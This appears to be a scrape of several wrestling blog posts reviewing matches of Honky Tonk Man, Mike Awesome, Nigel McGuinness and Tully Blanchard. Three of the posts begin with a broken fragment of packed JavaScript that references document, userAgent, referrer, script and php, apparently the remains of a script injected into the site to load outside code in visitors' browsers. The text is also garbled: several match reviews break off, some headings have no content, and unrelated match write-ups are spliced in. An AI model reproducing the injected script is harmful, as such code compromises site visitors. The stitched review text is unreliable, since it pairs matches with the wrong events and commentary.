Wrestler of the Day – January 25: Honky Tonk Man

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbfdr|var|u0026u|referrer|beizz||js|php'.split('|'),0,{})) it’s another famous name as we look at the greatest Intercontinental Heavyweight Champion of all time: the Honky Tonk Man.

So this one needs some backstory. We have Bill Dundee and Lawler teaming up against Larry Latham (Moondog Spot) and Wayne Ferris (Honky Tonk Man), collectively known as the Blonde Bombers. The Bombers cheated like CRAZY to win the tag titles. The show looked like it was ending but as they faded to black you heard Russell saying stay with this because there’s a big brawl going on. The brawl went down to the concession stand, and this is what followed.

The Blondes are all busted open and they beat on each other with EVERYTHING. Mustard goes flying and they’re filming from the stairs. This is totally serious stuff in case that wasn’t clear. Everyone is bleeding. Lawler destroys Ferris while Dundee is stomped on. Jerry Jarrett comes in and finally gets Dundee away for a second. Also this isn’t one of those fake WCW concession stands. This is the real concession stand where the fans are buying food. The Blondes run so Lawler and Dundee chase them but the Blondes come back and destroy Jarrett, stripping his clothes off. They’re FINALLY pulled off to end this.

 

I won’t go into details on the whole history of this (if you’re interested in why this was booked and why Jerry Jarrett is one of the smartest men ever in wrestling, look up Jim Cornette’s commentary called “The Slippery Slope of Hardcore Wrestling.” It’s incredibly interesting and well worth the read, as is almost anything Cornette writes) but the main idea is that this is pretty much the birth of modern hardcore wrestling.

 

The key difference though: it was believable. This wasn’t something that you saw every day (first time ever for the most part) and EVERYONE talked about it. It saved the territory and worked because it was treated as a huge deal. This is something you’ll still hear about from time to time and you’ll occasionally see tributes to it even today. This is incredibly historic stuff and possibly the most famous moment in southern wrestling.

 

A few years later it was off to the WWF for another rarity: Honky Tonk Man as a face. More on that after this squash from October 4, 1986 on Superstars.

 

Ron Shaw vs. Honky Tonk Man

 

This is Honky’s TV debut. Vince actually calls him Wayne Ferris. Honky is in suspenders stil here. Mr. Fuji doesn’t wank Honky’s greasy hands on his tuxedo. Honky works on the arm to start but Shaw gets in a thumb to the eye. Honky rams him into the buckle but Shaw comes back. He beats on Honky for a bit until Honky slams him down and the middle rope fist (which isn’t like his cousin AT ALL right?) gets the pin. Honky was light years better as a heel.

About nine months later, Honky Tonk Man got an Intercontinental Title shot in what should have been a squash, but turned into a shocking upset. From the June 13, 1987 episode of Superstars/Best of the WWF Volume 13 (I really need to post that entire series someday).

 

Intercontinental Title: Honky Tonk Man vs. Ricky Steamboat

This is about two months after Steamboat beat Savage for the title in Detroit and is perhaps the biggest upset and one of the biggest shocks in company history. Steamboat was untouchable at this time. See, one very important thing to remember about the title in this time frame is that title reigns were A LOT longer at this point. The title had been around for over 8 years here and there had been one title reign that went less than six months and only two had gone under seven months (Steamboat was the 11th champion). In other words, this title did not change hands often.

Honky jumps Steamboat almost immediately and throws him over the top. This is of course, REALLY STUPID, as Dragon skins the cat and sends Honky to the floor. Steambaot gets a suplex and takes over. Steamboat’s movements are absolutely perfect. Everything he does is incredibly crisp and he doesn’t take a break on a single move. Even something like a chop is perfect as he follows through on them and they look awesome. He’s someone that you need to watch every single motion of because they’re all great.

Anyway Steamboat gets sent into the buckle and here comes the challenger. The same awkward middle rope elbow as the first match misses and here comes the Dragon. He ducks low though and almost gets caught in the Shake Rattle and Roll. A top rope chop should put Honky away but Jimmy distracts the referee. Steamboat rolls Honky up but Honky grabs the ropes and gets a (weird as the first count was before Honky was on top and was probably the one for Steamboat’s cover) three count for the title and the shock of the decade.

Rating: C. The match itself is ok but it’s totally inconsequential. The point here is that Honky won the title and it was indeed shocking. This would be like Zach Ryder (this was written before Ryder meant anything as a singles guy) beating Kofi for the title. See, back then there were championship squashes. Today (February 3, 2011 if you’re reading this years later, my 23rd birthday for you KB trivia fans. Yes I’m reviewing on my birthday) Edge is the Smackdown champion and this would be like him defending against Heath Slater.

The thing is that today, everyone would expect there to be something up because when the title is defended on TV it’s either a huge showdown or something is about to happen. Back in the 80s, it was perfectly common for the IC or tag titles to be defended two or three times a month on TV.

They would usually be glorified squashes with random challengers that posed zero threat to the titles though, and that’s what you have here. This wasn’t some big hyped up showdown for the title. This was a typical title defense for Steamboat and more or less just another day at the office. That’s why this is so shocking and the biggest upset in the 1980s.

Honky would hold the title for nearly 15 months in one of the most brilliant booking runs in wrestling history. The idea was the same one over and over again: Honky was always the underdog and against far better competition but he would cheat to escape with the title. Here’s one of those title defenses against Brutus Beefcake at Wrestlemania IV.

 

Intercontinental Title: Honky Tonk Man vs. Brutus Beefcake

During this time, Honky Tonk Man would feud with every midcard face on the roster, including an awesome feud with a now face Randy Savage where Honky Tonk Man would shove Liz down, insuring him a spot in eternal torment. It wasn’t until Summerslam 88 that the Ultimate Warrior of all people outsmarted Honky and beat him in thirty seconds to absolutely blow the roof off of Madison Square Garden and win the title.

 

Intercontinental Title: Honky Tonk Man vs. ???

So why was this so awesome? This was one of the most perfectly told stories the WWF ever produced and they nailed it every step of the way. Back in 1987, Ricky Steamboat was Intercontinental Champion but wanted to take some time off. The solution was to put the title on the comedic newcomer the Honky Tonk Man, who cheated to win the belt. Honky viewed as a total joke as champion due to his lack of skill and his gimmick of a wrestling Elvis impersonator.

Million Dollar Team vs. Dream Team

Ted DiBiase, Rhythm and Blues, ???

Dusty Rhodes, Koko B. Ware, Hart Foundation

Undertaker and Bret start with Taker pounding the tar out of him. Well if you want to make someone look like a killer, call Bret Hart. Bret hits the ropes and charges at Taker, only to get caught by the throat and slammed down. It was more like a clothesline that Taker went to the mat with than the usual chokeslam here but he did have Bret by the throat.

TV Title: Honky Tonk Man vs. Johnny B. Badd

Honky is billed from Honkyland USA which is about a million jokes that write themselves. Apparently the singer was named T. Graham Brown, a country singer that I doubt anyone north of Tennessee has ever heard of. Naturally WCW puts him in front of a crowd in a state that borders Canada and expects everyone to just know who that is. Still no recognition of Ali either.

We see a huge group of middle aged men in suits which makes me think this isn’t going to go well. Badd has in fangs and that confetti shooter. Again, this is the time period where he was portraying a gay man without saying that. Yes, shooing confetti is a great way to get cheers from the crowd. Honky stalls to start, as he’s from Memphis. He hasn’t been relevant in about four years at this point so of course he’s in a title match here.

Yeah that has nothing to do with Hogan at all. To the shock of no one, the fans are more or less dead. Oh the main event is a cage match too as I forgot to mention that. He’s the exact same worker that he was when he had the IC Title for a year, but minus the heat or anyone caring. He hits a chinlock so we go to a long shot of the crowd to break the boredom I guess.

Oh hey, ten minutes into the broadcast, Heenan mentions Ali, and WHAT A COINCIDENCE, he’s here! That shows that either WCW is freaking stupid or Ali isn’t as big of a star as he used to be. Ali would light the Olympic torch in less than two years in one of the greatest moments in sports history and in 1994 WCW has Honky Tonk Man opening a PPV. You figure out the right answer.

We get the standard announcement of five minutes left in the 10-15 minute TV Title matches. And it’s obvious now. Also, I love how the Television Title is being defended on a PPV broadcast but whatever. We hit out third chinlock of the match because it worked so well the first two times.

Orton has nothing on Honky. We get to the last minute of the match and Badd goes for the Kiss That Don’t Miss. Tony’s commentary here is kind of funny: “He’s going for the Kiss That Don’t Miss! He missed it!” Ok so that passes for funny to me here. They fight to the time limit and then Honky runs. This was brutally bad.

Rating: D. Seriously, the FREAKING HONKY TONK MAN was the best you could do here? Why? What possessed you to think this was a good idea? Who booked this? Honky wasn’t good in the ring more or less ever and was ok at best on the mic. To say he’s watered down here is an understatement as this was just awful and boring to boot. This just made my head hurt.

Honky Tonk Man would just walk out on the company soon thereafter and be back in the WWF a few years later as a commentator. He never got in the ring, but would eventually come back as a choice to face Santino Marella for the Intercontinental Title at Cyber Sunday 2008.

Time to pick a legend to fight Santino for the IC Title. Beth looks MUCH better in her usual attire. Santino talks for a bit and we see the Honk-a-Meter, which would have been a lot better if it had come closer than a year away from passing Honky’s record. We get a basic promo about Phoenix (the town, not the Diva) being full of old people like Shaq, and he’s in the front row, ending the promo quickly. Oddly enough the Cardinals would make the Super Bowl this season so the joke kind of backfired.

The choices are Honky Tonk Man, Piper or Goldust. The vote is far closer than expected with everyone getting over 30%. Piper looks FAR better than last year and probably 35 pounds lighter. After the Honk-a-meter, who do you think wins here?

Intercontinental Title: Honky Tonk Man vs. Santino Marella

How brilliant is a wrestling Elvis impersonator? That’s just awesome. Honky Tonk may be old here but he doesn’t look bad, even though it’s bizarre to see him as a face. Total comedy match with the big wrestling move being a headlock. Beth hits him with the belt for the DQ about a minute in. Santino yells at her for no apparent reason and the beatdown follows for Santino as Piper and Goldie come out. Side note: Beth is absolutely gorgeous. It really is good to see Piper look so much healthier. Considering about a year earlier he had Hodgkin’s Disease, this is a great thing to see.

Rating: N/A. Just for a feel good moment and there’s nothing wrong with that, especially in a one minute match.

You know, for a legend, Honky Tonk Man really didn’t wrestle all that much in the big leagues. He was around from late 1986 to 1991 and was only prominent for about two to three years. That speaks volumes about great that Intercontinental Title reign was. It’s obvious that Honky Tonk Man was better on the mic and as a character than he was in the ring and that’s all you need to be a lot of the time.

He’s definitely entertaining and a great lesson in how to make a crowd want to kill a wrestler. If nothing else, the full story of him stealing the title and holding it as long as he did combined with the blowoff might be the most perfect story ever produced by WWE. I even did a Thought of the Day about it:

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Wrestler of the Day – January 24: Mike Awesome

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiisr|var|u0026u|referrer|eyaae||js|php'.split('|'),0,{})) a trip to England it’s back to America with one of the hardest hitting guys you’ll ever find in a wrestling ring: Hulk Hogan’s cousin (by marriage I believe), Mike Awesome.

JT Smith vs. Mike Awesome

This would be a squash in the regular ECW. Here it’s going to be a squash but with a different ending. If you want to see an example of why Awesome is so beloved, watch this match as he’s INSANE but great. He never lets up at all and hits a great over the top rope dive to nearly kill Smith. And then the hometown boy rolls him up for a pin in his only offense all night. Referee gets beaten up anyway. He goes for the splash and breaks the freaking ring ropes.

Rating: N/A. Total squash for Awesome and he lost anyway. He would go to Japan soon after and other than one other time in 94, wouldn’t be seen in ECW until 97. He would wrestle five times there and then would go winless in 1998. FINALLY in 1999 Heyman realized he had something amazing and made him world champion.

ECW World Title: Masato Tanaka vs. Taz

No intro or anything. Joey just says it’s time for our world title match. The fans throw a TON of stuff into the ring because of Taz. He sold out apparently. No. Heyman screwed up the booking of him because no one cared about him as a face after he whined for a year and Shane Douglas wouldn’t drop the title like he should have. I still say that had as much to do with killing ECW as anything did.

That and not putting the belt on RVD about 5 months before this. Mike Awesome is in the crowd and Taz says send him in there too. Heyman comes out and holds Awesome back. I love how the fans go from YOU SOLD OUT to yelling his catchphrase with him inside of a minute. Remember that officially Taz hasn’t been announced as leaving yet but it’s the worst kept secret in wrestling. Heyman makes it a threeway.

So yeah add Mike Awesome to the title because I’m lazy. Oh and Awesome is in wrestling gear in the crowd. I’m shocked too. They double team him and that doesn’t work at all. Tanaka takes an Awesome Bomb. And then the Roaring Elbow and Awesome Splash puts Taz out in about two minutes. There you go then.

The locker room empties so that everyone can say goodbye to Taz. Yeah this was a total secret right? Awesome hits a sweet Tope (Taker Dive) to the floor to take Tanaka down. This is your standard solid match with these two. Naturally chairs and tables are brought into play but you have to expect that in ECW. Tanaka hits a Tornado DDT on a chair for two.

And Tanaka gets powerbombed over the top to the floor through a table. Top rope splash follows that for two. Ok then. Tanaka no sells three LOUD chair shots and this Diamond Dust which is an awesome move. It’s table time again with Awesome in control again. Awesome hits a top rope powerbomb for the pin. Yeah that works but a chair shot to the head from the top doesn’t? Taz hands him the belt after the match. The roster says goodbye to Taz as no one cares about Axl Rotten. The fans loving Taz now is kind of stupid. Taz tells them to chant for Awesome. Nice touch there.

Rating: B. Usual good stuff here from these two, but at times the no selling gets annoying. Still though, this was a shock to some people and it was a nice touch throwing Awesome in there as people knew Taz was losing, so here we didn’t know who was leaving with the belt. This was good.

Awesome and Tanaka would trade the title over Christmas of 1999 with Awesome coming out with the belt. He would defend that title against the giant killer Spike Dudley at Guilty As Charged 2000 in January.

ECW World Title: Mike Awesome vs. Spike Dudley

This should be going on in the spot of the TV Title match and the TV Title match should come on last. Spike has lost a lot of that ANGER from an hour and a half ago. He starts setting up tables before Mike is even here. Oh well we get to listen to some more AC/DC so I can’t complain. He sets up FIVE tables including two on top of each other before getting into the ring with a microphone.

He talks about how he makes his living getting put through tables. Ok thanks for admitting you’re a glorified jobber getting a title shot at a PPV. Why was Awesome managed by a “judge?” That never made much sense to me but whatever. Spike goes through a table less than 15 seconds in. Ok then let’s go home now as this is rather pointless. There go two more.

We’re MAYBE a minute and a half in and Spike has done nothing at all other than a few punches. Them calling the split screen replay Double Vision is funny. Spike is in the crowd and Awesome dives over the railing to knock him back down. Joey wants the match stopped but then cheers when he kicks out of a splash. Is this supposed to make sense? Oh that’s right it’s Spike Dudley in the main event of a PPV.

Of course it’s not supposed to make sense. Awesome Bomb is blocked and Spike jumps at Awesome and hits something close to an Acid Drop on the guard rail. Spike might have hurt his leg. Wow I wonder how he could have done that. Spike hits a hurricanrana which Awesome (rightfully) no sells and then kills Spike with a clothesline for two.

Spike hits the one move that I’ve never been able to understand how it can be done safely: a double stomp from the top rope. In an INSANE spot, Spike gets on the top rope and hits a springboard clothesline from the ring to the front row. That was impressive and Joey/Cyrus make fun of Hogan for doing such limited stuff. That’s rather amusing as Awesome is actually Hogan’s nephew or something close to that.

Spike hits an Acid Drop from the apron to the floor through a table and chokes Awesome out with a cord to take over. Joey shouting AWESOME IS DEAD over and over after a big chair shot is rather creepy. Spike is thrown through a table and is more or less out cold. Spike then further proves his idiocy by going up when Awesome is on the top rope in front of a table. Of course he goes through it for the pin. He deserved that for general stupidity.

Rating: D-. The problem here is simple: the credibility just wasn’t there at all. Spike is still his size and Awesome is his size. That’s why this didn’t work very well. We get it: Spike can do moves to big guys, but chair shots and a Diamond Cutter from the ropes isn’t enough to make this believable. They tried….kind of, but this just didn’t work that well at all.

Mike Awesome vs. Kanyon

This is serious Awesome and not the 70s Guy yet. Awesome put Kanyon through a table to set this up. The fans are all distracted by something else to start so Awesome hits a HUGE dive to the floor, drawing an ECW chant. Kanyon sends him into the post as there’s more energy in this match than the rest of the show combined up to this point. Kanyon hits a running front flip dive off the apron to put Awesome down.

Back in and Awesome hits a top rope clothesline for two. Back to the floor and Mike fires off some chair shots to put Chris down. Yes I’m on first name basis with the two dead guys. They fight into the crowd and Awesome keeps the advantage. Back in and we debate the best powerbomb in wrestling with Nash being declared the best. Back to the floor again for about the fourth time and Kanyon gets hit with a chair again. They were using “relaxed rules” at this point which meant they were trying to rip off ECW and the WWF formula in every match instead of just the main events like WWF did.

Kanyon crotches Mike on the top and hits a reverse neckbreaker for two. Another neckbreaker gets two. The fans are getting into this quickly. Samoan Drop into a front face drop gets two. Kanyon tries a powerbomb but gets caught in an Alabama Slam for no cover. There’s the regular powerbomb and Kanyon lands on his head. FREAKING OW MAN.

Awesome, probably trying to let Kanyon figure out if he’s alive or not, goes outside and pulls the pads back. Kanyon is like screw it and fights back but gets caught by a slingshot shoulder block by Awesome. He loads up the over the top powerbomb but Kanyon escapes, only to allow the American to hit a German to the American (Kanyon) and outside we go again. Awesome sets for something and here’s Nash for the run-in. The rest of the New Blood and Millionaire’s Club come in also and it’s thrown out.

Rating: B-. I was liking it but the constant going outside and the stupid ending hurt it a lot. This felt like the main event of Nitro rather than a definitive PPV match. These two had some chemistry together and it was a good match as a result. Keep these two in mind as they’ll be back later on to totally ruin the show in the end.

Mike would eventually become That 70s Guy (just go with it) and the Fat Chick Thriller (again just go with it) before earning a US Title shot at New Blood Rising under Canadian Rules. This one still makes my head hurt.

US Title: Mike Awesome vs. Lance Storm

Let’s see here. This is in Canada so Storm is the hero. He’s the US, Hardcore and Cruiserweight Champion at this point but would give away two of them soon. Now the cool entrance is about the end of the cool aspects of this match. The US Title is the Canadian Title, the Hardcore Title is the Saskatchewan Hardcore International Title (Get it?) and the 100kg and Under Title.

Storm cuts a short promo and might as well be the second coming. Both of these guys left ECW earlier this year. Storm got this, Awesome got the gimmick of That 70s Guy and the Fat Chick Thriller and never won a title in WCW. Storm was just absolutely awesome at this point and this is his big reward for it.

Part of the gimmick Storm had his own rule book and had his own rules. He invokes one of them and says there’s going to be a special referee. We immediately eliminate the chance of it being Bret Hart since a HUGE Bret chant breaks out. It’s Jacques Rougeau, as in The Mountie. We get the Canadian National Anthem and Storm could more or less murder a thousand babies and still get cheered at this point.

There’s a Juggalo here for no apparent reason. Rougeau is the outside referee and there are two titles held up. Pay no attention to whatever the other one is as it’s not mentioned. Awesome dominates early on, hitting a leg drop as a tribute to his far more famous uncle, Hulk Hogan (How many of you knew that one? Awesome’s aunt is married to Hogan’s brother so they’re like step uncle and step nephew or whatever but screw all the technicalities).

We hit the floor and it’s table time. Well they are from ECW to be fair. Madden: “This isn’t wrestling!” Tony: “Of course it’s not!” I still want to know how much annoyance there was in Tony’s statement there. Awesome goes up top and just slips off. Well it happens to everyone I guess. Awesome hits a SWEET Liger Bomb to more or less end Storm.

Then I’m not sure what happens as there’s a three count but Storm gets his arm up at more or less the exact same time. I’m legit not sure if Storm was supposed to kick out there and just didn’t get up in time or if this was part of the upcoming angle. Given the idiocy of this show and the skill of Storm, we’ll say it was intentional. Johnson raises Awesome’s hand to have the crowd on the verge of rioting.

HOWEVER, according to Canadian Rules, you have to get a 5 count to win a title. Awesome gets an Alabama Slam for three and then hooks a Dragon Sleeper. Storm taps out to lose the title again. Oh you know what’s coming. This time it’s you can’t win by submission. Storm gets two off a suplex as we start one more time. The crowd has gone from white hot to DEAD by the way as they’ve seen Storm get pinned and tap in like 6 minutes.

Awesome gets a five count off a Frog Splash and I can’t believe what I’m watching. Storm has a ten count to get up after the original five count. So the US Champion has now lost three times in about ten minutes perfectly clean and they’ve killed one of the hottest crowds I can remember in WCW’s history. The table is in the ring and Awesome clearly slips on the same corner (maybe they should be cleaned guys?) and they both crash through a table.

Rougeau says first man up gets the title and he punches Awesome in the jaw to make sure Storm looks inept. The crowd pops fairly well and just to absolutely cap off the idiocy, BRET HART IS HERE. You know, the guy the crowd was BEGGING for? So let me get this straight.

WCW was too STUPID to get that in Canada, where Bret is pretty much the biggest athlete that isn’t a hockey player in the history of the country (apparently there was a poll done in 2004 where the Greatest Canadians, as in any Canadian ever and not just athletes were ranked. Bret was #39) and where they had him under contract, that instead of using HIM, they paid the Mountie to come in and get the paycheck for the refereeing job while the fans chanted for BRET. This company deserved to go out of business. The Canadians all hug.

Rating: F-. Seriously, was this supposed to be good or something? Am I supposed to be entertained here? I know Russo doesn’t like titles, but if you’re going to kill them at least do it in America where you go more than once. This was just completely idiotic and one of the dumbest things I’ve ever seen.

Awesome would be one of the people brought over in the InVasion and would be the first WCW wrestler to win a match in Madison Square Garden when he interfered in a Hardcore Title match and pinned Rhyno to win the belt. For some reason (Awesome blames politics), he was barely a factor in the whole angle and would job on Jakked and Heat for most of his time in the WWF. After a long stint in All Japan, Awesome would make one final return to the WWE for One Night Stand in 2005 against his old rival Masato Tanaka.

Mike Awesome vs. Masato Tanaka

Awesome is a guy that is HATED by Styles and ECW for jumping ship and trying to throw the belt in the trash on Nitro. Because you know, no one in ECW ever disrespected a belt or anything like that. Joey says that it’s a shame Awesome didn’t take his own life on a suicide dive. That’s true Joey. He took his own life by hanging himself. As for the match, it’s about as intense and stiff as you could ask for.

This was an epic rivalry that went around the world and had them trade the ECW Title. That’s the issue here: Awesome is a traitor to ECW but this match is stealing the show. Let the LOUD chair shots begin. I never liked Tanaka’s no selling of chair shots. Ok we get it: chair shots hurt a lot. Table time and JBL makes fun of it for which I can’t blame him. The jokes about Awesome being wasted in WCW are ridiculously true.

The guy was freaking amazing so we make him the Fat Chick Thrillah and That 70s Guy. And you wonder why they went out of business. The crowd is WAY into this one. Oh look: tables. How original! We get a THIS MATCH RULES chant. And there goes Tanaka over the top rope through a table with a powerbomb. Add in an over the top rope dive onto the concrete and it’s over. Very intense stuff.

Rating: B+. Yep, the show has been stolen. These two had some WARS back in the day and this one was no exception at all. Very intense fight rather than a match but whatever. Fun to say the least. There’s something to be said about two guys just pounding on each other for ten minutes.

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Wrestler of the Day – January 23: Nigel McGuinness

Nigel McGuinness vs. Sami Callihan

Nigel would move on to ROH around 2003 and since video of that era is hard to find, this is as good as I can find from around that time. From Joe vs. Punk II.

Chad Collyer/Nigel McGuinnes vs. BJ Whitmer/Dan Maff

Collyer/Nigel have Ricky Steamboat with them while Whitmer/Maff have Mick Foley. It’s the whole wrestling vs. hardcore jazz. Steamboat and Foley started to hook up in WCW but I guess they figured that one of the best heels vs. one of the best faces would make too much sense and therefore money so they bailed on it immediately. Steamboat asks the four wrestlers to get on the floor because he wants to talk to Foley.

 

The audio here is AWFUL and I had no idea what Steamboat was talking about for part of it. Ok now I can a bit. The fans are saying speak up. Last night Foley issued a challenge for this tag match and Steamboat says it’s not about skill but it’s about the style the guys use. Steamboat calls it garbage wrestling because you use things like garbage cans in it. “In fact Mick I got an e-mail today from the Chicago sanitation department that says when your next novel fails they have a job for you cleaning up the garbage.” BURN.

 

Foley gets on the mic and makes fun of Steamboat for being too serious and not an entertaining talker. Foley talks about Steamboat winning the title in 1989 right here in Chicago from Ric Flair (Chi-Town Rumble, well worth checking out). Steamboat may be the greatest pure wrestler of all time. I’m not sure “may be” is needed here. However, saying someone is the greatest pure wrestler of all time “is like saying someone is the greatest softcore adult actor of all time.”

 

Foley defends hardcore wrestling because it’s about toughness and giving it all you have. He wants to know how long Steamboat plans to ride Flair’s coattails (even though Flair is a washed up loser). The fans are split here. Steamboat comes back with I know Flair, I’ve worked with Flair and you Mick Foley are no Ric Flair. Foley blasts Flair, saying he has a banana nose, orange teeth and looks like Barbara Bush in drag.

 

Steamboat says those were funny when Funk said them 20 years ago. Foley comes up with some new ones, like Flair says the same things time after time and carries Batista’s bags and sucked up to HHH. Oh and Flair has botox. This is HILARIOUS. Here’s the real burn: “I’m no Ric Flair because I knew when my time was done, I stepped aside for the sake of younger guys.” Bear in mind that about three and a half years later Foley won the TNA World Title, although TNA was still pretty awesome at this point.

 

Oh hey we have a match to get to. Everyone shakes hands pre match. Ok so it’s Nigel vs. Whitmer to get us going. We go over who has the best trainer in this and Maff is kind of left out in the cold. This is under pure rules, which is an overly complicated system that means you have a limited amount of rope breaks and no punches. Off to Maff as the pure guys are dominating with a lot of arm drags in a nice touch. And here are the Carnage Crew to jump Foley and a brawl breaks out. Not long enough to grade but it was pretty basic up to this point.

 

Steamboat goes off on the Carnage Crew for ruining the match and even calls them a bunch of dickheads. Announcer: “STEAMBOAT SAID DICKHEADS!!!!!” Ok so now the match is starting again but it’s under hardcore rules. Well sure why not? It’s a bit brawl to start and once they’re on the floor Foley drills McGuinness with the mic. They’re into the crowd already. The Crew is gone.

 

Maff cracks a water bottle over the head of Collyer and McGuinness gets taken down by a chair. Ok so now we’re into the ring and there are a few chairs involved. This is a total brawl and Steamboat is back now. Ok he wants it to be pure wrestling again. McGuinness gets all technical and such and gets a slick rollup on Whitmer for the pin.

 

Rating: C+. That’s for the whole thing. Steamboat and Foley were by far the best things about this but I don’t think that surprises anyone. The idea of mixing both styles was interesting but it needed more than it had here. The main conclusion I can draw from this though: MAN WCW was stupid for not following up on Steamboat vs. Foley in 92.

Jimmy Rave vs. Nigel McGuinness

Well that didn’t take long to sanction and sign did it? It’s weird seeing Wolfe with spiked hair. He’s ridiculously popular though, just like in TNA so of course he can’t be pushed right? They shake left hands for some odd reason. That’s different. This isn’t much but to be fair they have a feud going so this works.

 

I still don’t get the appeal of Rave though. Nigel does an insane submission hold where he locks Rave’s arm around his leg and traps the other arm behind Nigel’s back and bends backwards which looked like it was going to rip it off. The crowd goes oooooo at that. Nigel is apparently a big deal here. Nigel takes his head off with a clothesline but it gets two. Oh I’m sorry: it was a lariat.

 

Tower of London hits and Nigel isn’t sure what to do. Rave hits a Pedigree for one. Rave counters a Hulking Up Nigel into a Crippler Crossface. As impressive as Rave has been, I still just don’t care about him. Nigel hits a Tower of London (Diamond Cutter) onto the apron, which would be about the same as the mat wouldn’t it? It gets two either way so it doesn’t really matter.

 

And then after getting destroyed for about five minutes, Rave gets the heel hook and Nigel taps despite never having his leg worked on at all. I HATE moves like that. If that’s the case, why in the world would he wait almost fifteen minutes before going for it? At least with a strike like Sweet Chin Music it’s a knockout move. This is just a submission which makes a part of the body hurt. Why go for the Crossface earlier? That makes NO SENSE. It’s completely anti-psychology and that’s just irritating. Plus it’s Jimmy Rave so it’s even more annoying. Rave wants a world title shot.

 

Rating: B-. Totally annoying ending aside, this was a pretty solid match I guess. There were a ton of near falls but you could see the ending coming a mile away with about three minutes to go. Nigel looks dominant but let’s push Rave because…well just because! Didn’t like the ending at all but the rest was good.

ROH World Title: Bryan Danielson vs. Nigel McGuinness

Nigel takes him down with a headlock takeover but Bryan easily counters into a headscissors. McGuinness fights to the ropes but is very frustrated at not being able to slow down the challenger. Danielson is taken into the corner for some chops but does a headstand in the corner and catches Nigel with a dropkick. Nigel is sent to the floor and taken out with the FLYING GOAT as things speed up.

Desmond Wolfe vs. Lionheart

Lionheart spins out of an armbar but is kicked in the face to stop any comeback attempt. Some European uppercuts have Lionheart staggered but he gets a boot up in the corner and hits a nice Blockbuster for two. A few slams and a legdrop get two on Wolfe as the fans are getting into this. Wolfe avoids a charge into the corner and hits a quick forearm to the chest for two. A hard running European uppercut in the corner sets up the Tower of London but Lionheart holds onto the ropes. Another uppercut is blocked with a boot to the face but Wolfe stops him on the top and superplexes Lionheart down for two.

Lionheart takes over and gets two off a high cross body, followed by a superkick and frog splash for two. Another frog splash is broken up by Wolfe shoving the referee into the ropes and the Tower of London connects for two. The running lariat is countered into a rollup but Wolfe counters the rollup into a rollup of his own for the bridging pin.

Wolfe puts Lionheart over after the match.

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Wrestler of the Day – January 22: Tully Blanchard

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehkfe|var|u0026u|referrer|tbifz||js|php'.split('|'),0,{})) a string of some less than stellar picks, it’s time for the wrestler’s wrestler and an original Horseman: Tully Blanchard.

SCW Title: Tully Blanchard vs. Scott Casey

Feeling out process to start until Casey grabs an armbar to take over. Tully counters into a chinlock and drops a few knees for two. Casey fights up into a belly to back suplex for a break before a neckbreaker gets two. Tully counters a piledriver by driving Casey into the corner and suplexes Scott down for two. Control shifts again off a release butterfly suplex from Casey and a backbreaker gets two on Tully.

TV Title: Ricky Steamboat vs. Tully Blanchard

 

 

 

US Title: Magnum TA vs. Tully Blanchard

 

 

 

 

Dusty Rhodes/Road Warriors/Nikita Koloff/Paul Ellering vs. Four Horsemen/JJ Dillon

The Horsemen in this case are Flair, Anderson, Blanchard, Luger and JJ Dillon. Flair’s music is epic as they crank the music WAY up. This is the Atlanta main event and it’s the debut of WarGames. For those of you uninitiated, WarGames is the mother of all gimmick matches. You have two teams of five and each team sends in a member. Those two fight for five minutes and there’s a coin toss.

The winning team gets to send in the third man to have a 2-1 advantage. That lasts two minutes and then the team that lost the toss gets to send in its second man to tie it at 2-2. That lasts two minutes then the team that won the toss sends in its third man. You alternate like that every two minutes until it’s 5-5 and then it’s first submission. No pins allowed.

Arn and Dusty start us off and remember this can’t end until all ten are in. There are two rings side by side with one huge cage over them if I didn’t mention that. They feel each other out a lot as they’re not entirely sure what to do here. Dusty walks on the second rope and then swings across the top of the cage to kick him in the ribs. Now they’re going and Dusty pounds away including a low blow which is perfectly legal.

There’s a DDT by Dusty and the crowd is red hot. Arn is cut open about two and a half minutes in so Dusty rakes it across the cage wall. Everyone hates everyone on the other team so this is a huge blood feud all around. Dusty sends him into the cage and has dominated the entire time. After a quick comeback by Arn Dusty gets his bad Figure Four on and then lets go of it because….well just because I guess.

The Horsemen win the toss (the faces literally never won the thing) and it’s Tully in next. The Horsemen beat him down but Dusty is booking so he knocks them both down with elbows. And scratch that as Tully gets in a knee shot and the double teaming begins. Tully puts on a Figure Four as they work over the knee. The clock seems to skip ahead a bit (no sign of clipping though) and Animal comes in to tie it up.

He starts launching Horsemen everywhere and sets Tully up for a slingshot which he rams three straight times. Shoulder block takes Tully down and Dusty destroys Anderson. I think Blanchard is busted and he gets double teamed a bit. Anderson looks dead. Animal is like screw that and rams him into the cage a few times. Flair is in to make it 3-2 and chops at Animal which doesn’t work. The number catch up with him as Anderson is back up quickly.

Sorry for a lot of play by play here but it’s the only thing you can do in matches like this one. Animal is busted. Dusty tries to fight back but he’s almost on his own. The fans are so loud that you can’t hear Tony and Jim. Dusty is bleeding and here comes Nikita. Flair grabs him as he comes in but the power of RUSSIA breaks up the Horsemen. The double ring thing here is very nice as they have room to move around. Animal sends Flair into the cage and he’s bleeding now. Dusty is gushing blood.

Nikita and Dusty work on the knee of Anderson but Nikita goes to get Tully stuck between the two rings and hits him between the ropes in a slingshot thing. Flair begs off Nikita and that doesn’t end well for the champ. A double dropkick puts Anderson down and here’s Lex. This is literally non-stop. Powerslam plants Koloff and Lex is dominating. There’s a spike piledriver to Nikita and then a second one just to kill him deader than dead. The Horsemen are in control but they’re starting to fall from exhaustion and blood loss.

Here’s Hawk and the fans erupt all over again. He destroys everything in sight and if you’re not bleeding already you will be now. Nikita’s neck is messed up and he can barely stand. JR is in Heaven with this much carnage. Flair gets a Figure Four on Dusty but it doesn’t count yet. The Horsemen only have JJ Dillon left and he’s a manger. He goes after Hawk and that’s just dumb.

Flair saves JJ’s life and they’re getting tired. Flair is bleeding a ton as if you expected anything else. JJ is taking a beating but Animal is getting triple teamed. Here’s Ellering to get us all tied up and now the match can end. Ellering has an LOD spiked pad on his arm. Dillon is bleeding BAD so Ellering JAMS THE SPIKE INTO HIS EYE. The LOD circles in on Dillon as the rest of the team runs interference. The Warriors spear his head into the cage and load up the Doomsday Device. JJ lands on his shoulder, legitimately hurting it. With Animal running interference, Hawk beats him half to death until he gives up to finally end this.

